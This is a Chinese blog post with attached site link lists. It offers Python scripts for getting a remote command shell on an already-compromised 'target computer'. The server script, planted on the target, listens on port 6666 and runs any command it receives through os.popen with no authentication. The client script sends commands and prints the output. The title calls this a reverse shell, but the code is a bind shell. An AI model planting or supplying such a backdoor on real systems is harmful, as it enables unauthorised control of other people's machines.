python模拟菜刀反弹shell绕过限制【推荐】


Posted in Python onJune 25, 2019

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python实现的数据结构与算法之双端队列详解
Apr 22 Python
Python的Django框架安装全攻略
Jul 15 Python
python绘制铅球的运行轨迹代码分享
Nov 14 Python
Python实现的自定义多线程多进程类示例
Mar 23 Python
python实现Windows电脑定时关机
Jun 20 Python
Sanic框架异常处理与中间件操作实例分析
Jul 16 Python
浅谈Scrapy网络爬虫框架的工作原理和数据采集
Feb 07 Python
Python3.5 Pandas模块之Series用法实例分析
Apr 23 Python
python里 super类的工作原理详解
Jun 19 Python
详解Python二维数组与三维数组切片的方法
Jul 18 Python
基于Python解密仿射密码
Oct 21 Python
利用python3 的pygame模块实现塔防游戏
Dec 30 Python
Pandas之DataFrame对象的列和索引之间的转化
Jun 25 #Python
Pandas之Fillna填充缺失数据的方法
Jun 25 #Python
PYQT5实现控制台显示功能的方法
Jun 25 #Python
Pandas之Dropna滤除缺失数据的实现方法
Jun 25 #Python
PyQT5 QTableView显示绑定数据的实例详解
Jun 25 #Python
Pandas之ReIndex重新索引的实现
Jun 25 #Python
Python中使用__new__实现单例模式并解析
Jun 25 #Python
You might like
在php中使用sockets:从新闻组中获取文章
2006/10/09 PHP
php读取文件内容的几种方法详解
2013/06/26 PHP
php与flash as3 socket通信传送文件实现代码
2014/08/16 PHP
深入浅析php json 格式控制
2015/12/24 PHP
PHP识别二维码的方法(php-zbarcode安装与使用)
2016/07/07 PHP
PHP实现生成模糊图片的方法示例
2017/12/21 PHP
一组JS创建和操作表格的函数集合
2009/05/07 Javascript
基于jquery的获取mouse坐标插件的实现代码
2010/04/01 Javascript
基于jquery的跨域调用文件
2010/11/19 Javascript
使用时间戳解决ie缓存的问题
2014/08/20 Javascript
Nodejs学习笔记之Global Objects全局对象
2015/01/13 NodeJs
js实现格式化金额,字符,时间的方法
2015/02/26 Javascript
分享15个大家都熟知的jquery小技巧
2015/12/02 Javascript
灵活的理解JavaScript中的this指向
2016/02/25 Javascript
JS添加或修改控件的样式(Class)实现方法
2016/10/15 Javascript
利用vue开发一个所谓的数独方法实例
2017/12/21 Javascript
nodejs log4js 使用详解
2019/05/31 NodeJs
Vue中对iframe实现keep alive无刷新的方法
2019/07/23 Javascript
vue 地区选择器v-distpicker的常用功能
2019/07/23 Javascript
JavaScript实现4位随机验证码的生成
2021/01/28 Javascript
python实现绘制树枝简单示例
2014/07/24 Python
Python中的作用域规则详解
2015/01/30 Python
Python环境变量设置方法
2016/08/28 Python
python实现字符串和字典的转换
2018/09/29 Python
PyQt弹出式对话框的常用方法及标准按钮类型
2019/02/27 Python
Python生成验证码、计算具体日期是一年中的第几天实例代码详解
2019/10/16 Python
html5 拖拽及用 js 实现拖拽功能的示例代码
2020/10/23 HTML / CSS
梅西百货澳大利亚:Macy’s Australia
2017/07/26 全球购物
枚举和一组预处理的#define有什么不同
2016/09/21 面试题
介绍一下RMI的基本概念
2016/12/17 面试题
财务信息服务专业自荐书范文
2014/02/08 职场文书
保安队长职务说明书
2014/02/23 职场文书
《和田的维吾尔》教学反思
2014/04/14 职场文书
领导班子奢靡之风查摆问题及整改措施
2014/09/27 职场文书
2019大学生预备党员转正思想汇报
2019/06/21 职场文书
分享几个简单MySQL优化小妙招
2022/03/31 MySQL